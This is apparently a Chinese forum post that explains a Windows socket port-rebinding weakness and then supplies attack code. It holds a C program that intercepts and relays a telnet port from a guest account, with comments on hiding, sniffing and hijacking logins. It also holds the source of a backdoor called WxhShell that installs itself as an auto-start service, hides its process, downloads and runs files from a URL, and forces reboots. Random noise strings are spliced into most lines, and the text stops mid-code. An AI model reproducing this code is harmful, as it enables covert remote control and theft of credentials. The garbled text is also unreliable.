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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _)8s'MjA:&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K0~rN.C!0  
?4,T}@P  
  saddr.sin_family = AF_INET; 1?}T=)3+$  
DQ3<$0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dN q$}  
 ];m_4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LVGe]lD  
Xvu(vA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tw;}jh  
1Mzmg[L8  
  这意味着什么?意味着可以进行如下的攻击: 'L'R9&o<X  
f|5co>Hk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7.Op<  
<E~'.p,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X'srL j.  
dV_G1'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]^E?;1$f?  
**%37  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lxx2H1([  
RZLq]8pM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3fj4%P"  
MtdG>TzUn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^q5#ihM  
?s01@f#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [,Gg^*umS  
#mdc[.  
  #include o!Zb0/AP)  
  #include K+eM   
  #include js(pC@<q5  
  #include    .('SW\u-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   SUiOJ[5,  
  int main() ftb\0,-   
  { j#|ZP-=1_  
  WORD wVersionRequested; 04ui`-c(  
  DWORD ret; }2jn[${ pr  
  WSADATA wsaData; @d'j zs  
  BOOL val; H_a[)DT  
  SOCKADDR_IN saddr; VA%J\T|G2\  
  SOCKADDR_IN scaddr; I7onX,U+  
  int err;  B,@i  
  SOCKET s; z/-=%g >HA  
  SOCKET sc; d]9z@Pd   
  int caddsize; $Sq:q0  
  HANDLE mt; ch]IzdD  
  DWORD tid;   `Di{}/2  
  wVersionRequested = MAKEWORD( 2, 2 ); Oketwa  
  err = WSAStartup( wVersionRequested, &wsaData ); J.a]K[ci  
  if ( err != 0 ) { x2xRBkRg=  
  printf("error!WSAStartup failed!\n"); V3Bz Mw\9r  
  return -1; [agMfn  
  } _BufO7 `.  
  saddr.sin_family = AF_INET; YK_ 7ip.a[  
   5BIY<B+i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U^PgG|0N  
dtDFoETz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /ZX }Nc g  
  saddr.sin_port = htons(23); '1[Ft03  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \bXa&Lq  
  { =;L|gtH"  
  printf("error!socket failed!\n"); 4W75T2q#  
  return -1; \z$= K  
  } j 7B!h|  
  val = TRUE; )%TmAaj9d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b%+Xy8a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a?1Wq  
  { KI.unP%  
  printf("error!setsockopt failed!\n"); *. t^MP  
  return -1; NEs:},)o  
  } xT8?&Bx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WJi]t93  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +A+)=/i;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 UKGPtKE<  
mpyt5#f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y_)FA"IkE  
  { Ry&6p>-  
  ret=GetLastError(); tbr=aY$jY  
  printf("error!bind failed!\n"); R2NZ{"h  
  return -1; (Ldi|jL  
  } bA 2pbjg=  
  listen(s,2); TeQV?ZQ#}  
  while(1) rv;3~'V  
  { DU^loB+  
  caddsize = sizeof(scaddr); P?<y%c<  
  //接受连接请求 , gHDx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _1^'(5f$  
  if(sc!=INVALID_SOCKET) y_,bu^+*  
  { YSMAd-Ef-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z:O8Ls^\T  
  if(mt==NULL) )7@0[>  
  { ]e3Ax(i)  
  printf("Thread Creat Failed!\n"); DG/Pb)%Y  
  break; *pd@.|^)m  
  } 3`HV(5U[  
  } gw(z1L5 n  
  CloseHandle(mt); K3C<{#r  
  } kfNWI#'9  
  closesocket(s); f1? >h\F8  
  WSACleanup(); M|-)GvR$J  
  return 0; ICCc./l|  
  }   fA-7VdR`R  
  DWORD WINAPI ClientThread(LPVOID lpParam) KoYF]  
  { pAEx#ck  
  SOCKET ss = (SOCKET)lpParam; ~[: 2I  
  SOCKET sc; Dq xs+  
  unsigned char buf[4096]; s2?&!  
  SOCKADDR_IN saddr; L];b< *d  
  long num; rQXzR  
  DWORD val; |ZBw<f  
  DWORD ret; *:1ey{w:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 YIE<pX4Q7)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9uY'E'm*  
  saddr.sin_family = AF_INET; Tw% 3p=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6~{C.No}  
  saddr.sin_port = htons(23); zDp2g)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a.'*G6~Qgw  
  { J4utIGF  
  printf("error!socket failed!\n"); b6[j%(   
  return -1; qR.Q,(b|  
  } N!32 wJ  
  val = 100; ^8tEach  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C~[,z.FvO  
  { s{++w5s  
  ret = GetLastError(); :,^gj  
  return -1; K,]=6 Rj  
  } R+|hw;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vi}_{ Cy  
  { g`^x@rj`E  
  ret = GetLastError(); <#.g=ay  
  return -1; ;4a{$Lw~^9  
  } zT/\Cj68  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;jPXs  
  { e )ZUO_Q$  
  printf("error!socket connect failed!\n"); MDN--p08  
  closesocket(sc); BVm0{*-[|  
  closesocket(ss); DlT{`  
  return -1; 2:R+tn(F  
  } |}1dFp  
  while(1) hph4`{T  
  { h![#;>(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f?b"iA(6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >7r!~+B"9'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,[Fb[#Qqb  
  num = recv(ss,buf,4096,0); O f#:  
  if(num>0) /xQPTT  
  send(sc,buf,num,0); X 8|EHb<  
  else if(num==0) %SI'BJ  
  break; d3Rw!slIq  
  num = recv(sc,buf,4096,0); ':W[A  
  if(num>0) HDKbF/  
  send(ss,buf,num,0); ] - .aL  
  else if(num==0) b[yiq$K/  
  break; 7rA;3?p)  
  } 8Y3I0S  
  closesocket(ss); y]im Z4{/  
  closesocket(sc); +RXoi2"-q@  
  return 0 ; Wm|lSisY  
  } G:JR7N$  
k8Xm n6X  
C?Ucu]cW  
========================================================== :LTN!jj  
nm+s{  
下边附上一个代码,,WXhSHELL YP9^Bp{0  
9cgU T@a  
========================================================== zJXplvaL;  
z=FZiH  
#include "stdafx.h" .-=vx r  
Zov~B-Of:  
#include <stdio.h> {T8Kk)L  
#include <string.h> V:27)]q  
#include <windows.h> ]~%6JJN7  
#include <winsock2.h> jtc~DL  
#include <winsvc.h> ]d`VT)~vje  
#include <urlmon.h> fatf*}eln  
>MK98(F  
#pragma comment (lib, "Ws2_32.lib") e%6QTg5#  
#pragma comment (lib, "urlmon.lib") &?vgP!d&M  
i&k7-<  
#define MAX_USER   100 // 最大客户端连接数 vj*%Q(E6Pt  
#define BUF_SOCK   200 // sock buffer L(o15  
#define KEY_BUFF   255 // 输入 buffer e*!kZAf  
qVPeB,kIz  
#define REBOOT     0   // 重启 3[&Cg  
#define SHUTDOWN   1   // 关机 .G^YqJ 4  
h1{3njdr  
#define DEF_PORT   5000 // 监听端口 ~v83pu1!2s  
kR9-8I{J  
#define REG_LEN     16   // 注册表键长度 0Qd:`HF[  
#define SVC_LEN     80   // NT服务名长度 Jl<2>@  
lLD12d  
// 从dll定义API Z= !*e~j@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); smLQS+UE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *j-aXN/$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &0f,~ /%Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `-&K~^-cH  
Df#l8YK#  
// wxhshell配置信息 };g"GNy  
struct WSCFG { iI>A *,{,`  
  int ws_port;         // 监听端口 Jo}eeJ;k  
  char ws_passstr[REG_LEN]; // 口令 {e5= &A  
  int ws_autoins;       // 安装标记, 1=yes 0=no ??T#QQ  
  char ws_regname[REG_LEN]; // 注册表键名 MfQ!6zE  
  char ws_svcname[REG_LEN]; // 服务名 L+QLLcS~EM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oE~Bq/p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8Eq7Sa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  }75e:w[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z ]Ue|%K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ru~j,|0r4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E"@wek.-  
= f i$}>\  
}; Z/K{A`  
N&pCx&  
// default Wxhshell configuration NCx%L-GPi  
struct WSCFG wscfg={DEF_PORT, L6LZC2N+2  
    "xuhuanlingzhe", H.2QKws^F  
    1, J$!iq|  
    "Wxhshell", *#Wdc O `-  
    "Wxhshell", @A 5?3(e  
            "WxhShell Service", T^v}mWCZ  
    "Wrsky Windows CmdShell Service", l+R+&b^  
    "Please Input Your Password: ", yWya&|D9  
  1, Q&V;(L62!  
  "http://www.wrsky.com/wxhshell.exe", E!#WnSpnK  
  "Wxhshell.exe" _y>~ yZx  
    }; PT9*)9<L  
Faf&U%]*`  
// 消息定义模块 ~nPtlrQa#*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7yba04D)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {_Gs*<.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZW}_Q s  
char *msg_ws_ext="\n\rExit."; mQ=#nk$~g  
char *msg_ws_end="\n\rQuit."; L:8q8i  
char *msg_ws_boot="\n\rReboot..."; IMfqiH)  
char *msg_ws_poff="\n\rShutdown..."; )/EO&F  
char *msg_ws_down="\n\rSave to "; N36_C;K-z  
x=jK:3BF  
char *msg_ws_err="\n\rErr!"; ""D 4s  
char *msg_ws_ok="\n\rOK!"; F/A|(AH'  
z~Q>V]a>;  
char ExeFile[MAX_PATH]; 4{l,  
int nUser = 0; 3t6 LT  
HANDLE handles[MAX_USER]; T5:G$-qL(  
int OsIsNt; l\?c}7k  
[h:T*(R?  
SERVICE_STATUS       serviceStatus; ]d%8k}U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +H Usz ?  
3{h_&Gbo'D  
// 函数声明 !L8#@BjU  
int Install(void); (b6NX~G-:  
int Uninstall(void); +KEWP\r  
int DownloadFile(char *sURL, SOCKET wsh); )tpL#J  
int Boot(int flag); 2[;_d;oB@  
void HideProc(void); QVE6We  
int GetOsVer(void); d'I"jZ  
int Wxhshell(SOCKET wsl); TW>WHCAm  
void TalkWithClient(void *cs); - CWywuD  
int CmdShell(SOCKET sock); y|q3Wa  
int StartFromService(void); ?NP1y9Y]i  
int StartWxhshell(LPSTR lpCmdLine); 8Bg;Kh6B  
\r>6`-cs]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k: ;WtBC6j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jZ3fKyp#   
pU7lnS[  
// 数据结构和表定义  v<:R#  
SERVICE_TABLE_ENTRY DispatchTable[] = jb;hcraR  
{ r(2uu  
{wscfg.ws_svcname, NTServiceMain}, y#$CMf -q^  
{NULL, NULL} e NafpK  
}; $D UZ!zaH!  
s|B3~Q]  
// 自我安装 &l[$*<P5V  
int Install(void) w8D"CwS1Rx  
{ A_#DJJMm  
  char svExeFile[MAX_PATH]; lUiL\~Gq  
  HKEY key; /[>sf[X\I9  
  strcpy(svExeFile,ExeFile); T${Q.zHY[!  
 50C   
// 如果是win9x系统,修改注册表设为自启动 ]]juN  
if(!OsIsNt) { ivz5H(b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -[DOe?T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wg]LVW}  
  RegCloseKey(key); @jlw_ob2g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bNoW?8bZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O s.4)  
  RegCloseKey(key); 4I?^t"  
  return 0; 'oC) NpnH  
    } _H=Uwi_g  
  } ~BkCp pI  
} g SAt@2*U2  
else { U~l$\ c  
'!a'ZjYyi  
// 如果是NT以上系统,安装为系统服务 `I5wV/%ib  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k,F6Tx  
if (schSCManager!=0) xpx\=iAe  
{ A6iq[b]  
  SC_HANDLE schService = CreateService a+T.^koY  
  ( K>l~SDcZ3  
  schSCManager, qXjxNrK  
  wscfg.ws_svcname, Nm>A'bLM  
  wscfg.ws_svcdisp, W1FI mlXS  
  SERVICE_ALL_ACCESS, 4vV:EF-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +|>kCtZH%  
  SERVICE_AUTO_START, }k G9!sf  
  SERVICE_ERROR_NORMAL, nmi|\mof  
  svExeFile, N<KS(@v y  
  NULL, w~?~g<q  
  NULL, xLZG:^(I  
  NULL, a"g!e^  
  NULL, t\j*}# S  
  NULL E'.7xDN  
  ); HuKc9U'7A  
  if (schService!=0) k/gZ,  
  { Q7COQ2~K   
  CloseServiceHandle(schService); _1L![-ac  
  CloseServiceHandle(schSCManager); }:*]aL<7_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x*&|0n.D  
  strcat(svExeFile,wscfg.ws_svcname); #3 pb(fbw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B|AV$N*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \K]0JH  
  RegCloseKey(key); FzXJ]H  
  return 0; )sp4Ie  
    } h_IDO%  
  } %O;bAC_M  
  CloseServiceHandle(schSCManager); ;H.^i|_/  
} p >t#@Eu|  
} JNUt$h  
zeC RK+-  
return 1; @\P;W(m.i  
} 6ez<g Uf  
f/Bp.YwL  
// 自我卸载 t=O8f5Pf{  
int Uninstall(void) b e^6i:  
{ 9lH?-~9  
  HKEY key; ce3YCflt  
gH7|=W  
if(!OsIsNt) { 5K?IDt7A]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =j*$ |X3W  
  RegDeleteValue(key,wscfg.ws_regname); Eq\M;aDq  
  RegCloseKey(key); EeRX+BM,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c[1oww  
  RegDeleteValue(key,wscfg.ws_regname); V0XvJ  
  RegCloseKey(key); 6}Y#=}  
  return 0; V2|aN<Sx<  
  } ?+a,m# Yx  
} 8j % Tf;  
} o/Q;f@  
else { 6N S201o  
O[)kboY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5m(^W[u `  
if (schSCManager!=0) //<nr\oP  
{ 28J^DMOW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hP)LY=- 2  
  if (schService!=0) G&V/Gj8  
  { iBgx  
  if(DeleteService(schService)!=0) { "z=SO1  
  CloseServiceHandle(schService); zSja/yq  
  CloseServiceHandle(schSCManager); 1gy.8i  
  return 0; +sUFv)!4  
  } #"\gLr_:m  
  CloseServiceHandle(schService); ,+{LYF  
  } Pjjewy1}^  
  CloseServiceHandle(schSCManager); i,4>0o?  
} DOJN2{IP  
} '>0fWBs  
<drODjB  
return 1; 8tFoN*M  
} EbE-}>7OO  
sCk?  
// 从指定url下载文件 iJ3e1w$  
int DownloadFile(char *sURL, SOCKET wsh) s<eb;Z2D  
{ 91  g2A|  
  HRESULT hr; (l- ab2'  
char seps[]= "/"; UsQ+`\|  
char *token; ;J2zp*|  
char *file; 5}]"OXQ  
char myURL[MAX_PATH]; 9-DZU,`P  
char myFILE[MAX_PATH]; EYEnN  
h+&OQ%e=8  
strcpy(myURL,sURL); `FTy+8mw  
  token=strtok(myURL,seps); =mpV YA  
  while(token!=NULL) d0Qd$ .%A  
  { W=vP]x >J  
    file=token; IrhA+)pdse  
  token=strtok(NULL,seps); QPg8;O  
  } fNt`?pW H  
{~s DYRX  
GetCurrentDirectory(MAX_PATH,myFILE); A}N?/{y)G  
strcat(myFILE, "\\"); SY^t} A7:/  
strcat(myFILE, file); 7KL v6]b  
  send(wsh,myFILE,strlen(myFILE),0); kDN:ep{/  
send(wsh,"...",3,0); ,>-< (Qi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oxkoA  
  if(hr==S_OK) 1Y@Aixx  
return 0; Qqvihd  
else W!&'pg  
return 1; f@DYN!Z_m  
h=kh@},  
} `A^"% @j  
C:C}5<fk x  
// 系统电源模块 DB:+E|vSD  
int Boot(int flag) /.MN  
{ /! $c/QZ  
  HANDLE hToken; fM63+9I)\  
  TOKEN_PRIVILEGES tkp; K]0:?h;%Ld  
f[a}aZ9)  
  if(OsIsNt) { ahOMCZF|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,Pjew%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *q".-u!D[  
    tkp.PrivilegeCount = 1; <|+Ex  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C/kW0V7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "C19b:4H  
if(flag==REBOOT) { |J} Mgb-4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  L0@SCt  
  return 0; s4SG[w!d  
} 9qz6]-K  
else { a]/>ra5{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vbBc}G"w  
  return 0; FCuB\ Q  
} \r,Q1n?7  
  } Rh{zH~oZ  
  else { 7-T{a<g  
if(flag==REBOOT) { A1#%`^W9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #+5pgD2C  
  return 0; MLWM&cFG  
} ;\Y& ce  
else { T}P".kpbS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !Kj,9NX{U  
  return 0; @I/]D6 ~"  
} xp72>*_9&  
} kg3EY<4i  
); dT_  
return 1; be-~\@  
} hn=[1<#^(  
?5 cI'  
// win9x进程隐藏模块 mvZw  
void HideProc(void) ,7NZu0  
{ .0rh y2  
"zFNg';  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u r@Z|5  
  if ( hKernel != NULL ) \lC   
  { d'$T4yA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z->p1xkX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :^x?2% ~K.  
    FreeLibrary(hKernel); C@W"yYt  
  } [P7N{l=I  
ICkp$u^  
return; 0B@Jity#!  
} e\JojaV  
Pgus42f%  
// 获取操作系统版本 O1*NzY0Y%-  
int GetOsVer(void) BWuqo  
{ OYmR<x5y/  
  OSVERSIONINFO winfo; 4NG?_D5&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !\L/[:n  
  GetVersionEx(&winfo); +g]yA3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ugx%_x6  
  return 1; fUQ6Z,9  
  else 7{qy7,Gp  
  return 0; Zrr5csE  
} !M]\I&  
x,S P'fcP  
// 客户端句柄模块 k]HEhY  
int Wxhshell(SOCKET wsl) g[7#w,o  
{ FMkzrs  
  SOCKET wsh; Bw64  
  struct sockaddr_in client; *9c!^ $V  
  DWORD myID; Fa_VKAq  
Y> Wu  
  while(nUser<MAX_USER) /3:q#2'v  
{ Nn"+w|v[ev  
  int nSize=sizeof(client); u(t#Ze~Y1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~\3kx]^10  
  if(wsh==INVALID_SOCKET) return 1; L^4-5`gj  
$N=N(^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;cz|ss=  
if(handles[nUser]==0) Ox'/` Mppw  
  closesocket(wsh); >P $;79<  
else /<8N\_wh  
  nUser++; OdY=z!Fls  
  } Vy,^)]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;~u{56  
pBP.x#|  
  return 0; FEW_bP/4  
} z2hc.29t  
X2i}vjkY  
// 关闭 socket ${nX:!)  
void CloseIt(SOCKET wsh) 3LTcEd  
{ $aPfGZ<i  
closesocket(wsh); -x4X O`b  
nUser--; 0,Y5KE{  
ExitThread(0); AT)a :i  
} a~!G%})'a  
-yg?V2  
// 客户端请求句柄 VA%Un,5h  
void TalkWithClient(void *cs) CZt \JW+"  
{ Z)xaJGbw  
ld7v3:M  
  SOCKET wsh=(SOCKET)cs; R &4Z*?S  
  char pwd[SVC_LEN]; +@K09ge  
  char cmd[KEY_BUFF]; A4?+T+#d  
char chr[1]; lP!;3iJ B  
int i,j; !\;FNu8_.  
^3FE\V/=  
  while (nUser < MAX_USER) { ;/*6U  
-TOIc%  
if(wscfg.ws_passstr) { [kgdv6E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  ?k|H3;\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =.`qixN  
  //ZeroMemory(pwd,KEY_BUFF); %-AE]-/HI  
      i=0; t"YNgC ^  
  while(i<SVC_LEN) { k` (jkbEZ  
gOK\%&S]  
  // 设置超时 [e4]"v`N  
  fd_set FdRead; ? j 9|5*  
  struct timeval TimeOut; ~w;]c_{.b  
  FD_ZERO(&FdRead); d4 (/m_HMu  
  FD_SET(wsh,&FdRead); z>06hBv(?Y  
  TimeOut.tv_sec=8; u}|%@=xn  
  TimeOut.tv_usec=0; O8W7<Wc |z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2',w[I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K[7EOXLy  
e<#DdpX!H~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ii0Ce}8d~  
  pwd=chr[0]; y{a$y}7#X  
  if(chr[0]==0xd || chr[0]==0xa) { /Y2/!mU</  
  pwd=0; F[!ckes<bB  
  break; 3u\;j; Td!  
  } iIGbHn,/  
  i++; c$QX )V  
    } Vax^8 -  
ZB[Qs   
  // 如果是非法用户,关闭 socket s{4\xAS>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :aIN9;  
} <x),,a=X  
N8`4veVBx'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gxGrspqg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x/ :4 {  
:ECi+DxBK  
while(1) { M8b4NF_&  
@v*/R%rv t  
  ZeroMemory(cmd,KEY_BUFF); =_8Tp~j  
`j9$T:`  
      // 自动支持客户端 telnet标准   m3g2b _;  
  j=0; `ZaT}# Y  
  while(j<KEY_BUFF) { M#@aB"@J>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  l"zUv  
  cmd[j]=chr[0]; /)rkiwp  
  if(chr[0]==0xa || chr[0]==0xd) { WWZ9._  
  cmd[j]=0; VNtPKtx\  
  break; 2 qO3XI  
  } {3Vk p5%l  
  j++; U\?g*  
    } g3%t8O/M  
CC3v%^81l^  
  // 下载文件 l#wdpD a{  
  if(strstr(cmd,"http://")) { h !(>7/Gi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zK+52jhi  
  if(DownloadFile(cmd,wsh)) OW(&s,|6x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <[/%{sUNC  
  else ozr9>b>M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2`= 6%s  
  } :;!\vfZbU  
  else { #DkD!dW(l  
;bX4(CMe &  
    switch(cmd[0]) { H2-28XGc  
  @l UlY2  
  // 帮助 te4= S  
  case '?': { VRW] a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AP\ofLmq  
    break; v1.q$ f^(  
  } Us~ X9n_F  
  // 安装 <39!G7ny  
  case 'i': { lKEa)KF[  
    if(Install()) Y#01o&f0n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8)\M:s~7&  
    else bO/*2oau  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,goBq3[%?  
    break; &(xUhX T  
    } r++i=SQax  
  // 卸载 :<~7y.*O{  
  case 'r': { wp.TfKxw  
    if(Uninstall()) G;oFTP>o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]PNow S\  
    else qsg>5E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fj'j NE  
    break; NgB 7?]vu  
    } y$tX-9U  
  // 显示 wxhshell 所在路径 n`;R pr&  
  case 'p': { O:.,+,BH  
    char svExeFile[MAX_PATH]; T_OF7?  
    strcpy(svExeFile,"\n\r"); qU[O1bN  
      strcat(svExeFile,ExeFile); }o9Aa0$*$  
        send(wsh,svExeFile,strlen(svExeFile),0); ]9S`[c$  
    break; S C_|A9  
    } yD)"c .  
  // 重启 RwTzz] M  
  case 'b': { X^@[G8v%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BZ F,=v  
    if(Boot(REBOOT)) }1%r%TikY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]R_G{%  
    else { cQFR]i  
    closesocket(wsh); twk&-:'  
    ExitThread(0); H*W):j}8  
    } %>XN%t'6aT  
    break; xNN@1P[*  
    } hWcTI{v  
  // 关机 i.rU&yT%  
  case 'd': { Y&'8VdW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LI:T c7t  
